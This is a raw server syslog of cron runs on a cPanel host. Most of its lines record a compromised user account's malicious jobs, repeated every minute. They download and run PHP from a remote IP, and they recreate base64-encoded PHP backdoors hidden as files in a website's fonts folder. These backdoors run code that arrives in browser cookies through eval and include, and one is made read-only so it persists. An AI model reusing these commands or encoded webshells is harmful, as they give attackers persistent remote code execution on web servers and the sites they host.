Sep 12 17:00:01 ip-184-168-122-23 CROND[27972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:00:01 ip-184-168-122-23 CROND[27977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:00:01 ip-184-168-122-23 CROND[27979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:00:01 ip-184-168-122-23 CROND[27976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:00:01 ip-184-168-122-23 CROND[27978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:00:01 ip-184-168-122-23 CROND[27975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:01:01 ip-184-168-122-23 CROND[28132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:01:01 ip-184-168-122-23 CROND[28130]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 17:01:01 ip-184-168-122-23 CROND[28131]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 17:01:01 ip-184-168-122-23 CROND[28133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:01:01 ip-184-168-122-23 CROND[28134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:01:01 ip-184-168-122-23 CROND[28135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28130]: starting 0anacron
Sep 12 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28153]: finished 0anacron
Sep 12 17:02:01 ip-184-168-122-23 CROND[28235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:02:01 ip-184-168-122-23 CROND[28239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:02:01 ip-184-168-122-23 CROND[28240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:02:01 ip-184-168-122-23 CROND[28237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:02:01 ip-184-168-122-23 CROND[28238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:03:02 ip-184-168-122-23 CROND[28323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:03:02 ip-184-168-122-23 CROND[28325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:03:02 ip-184-168-122-23 CROND[28326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:03:02 ip-184-168-122-23 CROND[28328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:04:01 ip-184-168-122-23 CROND[28414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:04:01 ip-184-168-122-23 CROND[28415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:04:01 ip-184-168-122-23 CROND[28417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:04:01 ip-184-168-122-23 CROND[28421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:04:01 ip-184-168-122-23 CROND[28422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:05:01 ip-184-168-122-23 CROND[28599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:05:02 ip-184-168-122-23 CROND[28601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:05:02 ip-184-168-122-23 CROND[28604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:05:02 ip-184-168-122-23 CROND[28603]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 17:05:02 ip-184-168-122-23 CROND[28606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:05:02 ip-184-168-122-23 CROND[28607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:05:02 ip-184-168-122-23 CROND[28609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:06:01 ip-184-168-122-23 CROND[28692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:06:01 ip-184-168-122-23 CROND[28694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:06:01 ip-184-168-122-23 CROND[28697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:06:01 ip-184-168-122-23 CROND[28696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:06:01 ip-184-168-122-23 CROND[28698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:07:01 ip-184-168-122-23 CROND[28779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:07:01 ip-184-168-122-23 CROND[28781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:07:01 ip-184-168-122-23 CROND[28783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:07:01 ip-184-168-122-23 CROND[28782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:08:01 ip-184-168-122-23 CROND[28881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:08:01 ip-184-168-122-23 CROND[28882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:08:01 ip-184-168-122-23 CROND[28886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:08:01 ip-184-168-122-23 CROND[28885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:08:01 ip-184-168-122-23 CROND[28889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:09:01 ip-184-168-122-23 CROND[28984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:09:01 ip-184-168-122-23 CROND[28987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:09:01 ip-184-168-122-23 CROND[28986]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 17:09:01 ip-184-168-122-23 CROND[28988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:09:01 ip-184-168-122-23 CROND[28989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:10:01 ip-184-168-122-23 CROND[29170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:10:01 ip-184-168-122-23 CROND[29172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:10:01 ip-184-168-122-23 CROND[29173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:10:01 ip-184-168-122-23 CROND[29176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:10:01 ip-184-168-122-23 CROND[29175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:10:01 ip-184-168-122-23 CROND[29177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:10:01 ip-184-168-122-23 CROND[29179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:10:01 ip-184-168-122-23 CROND[29180]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:11:01 ip-184-168-122-23 CROND[29275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:11:01 ip-184-168-122-23 CROND[29276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:11:01 ip-184-168-122-23 CROND[29277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:11:01 ip-184-168-122-23 CROND[29278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:12:01 ip-184-168-122-23 CROND[29362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:12:01 ip-184-168-122-23 CROND[29364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:12:01 ip-184-168-122-23 CROND[29365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
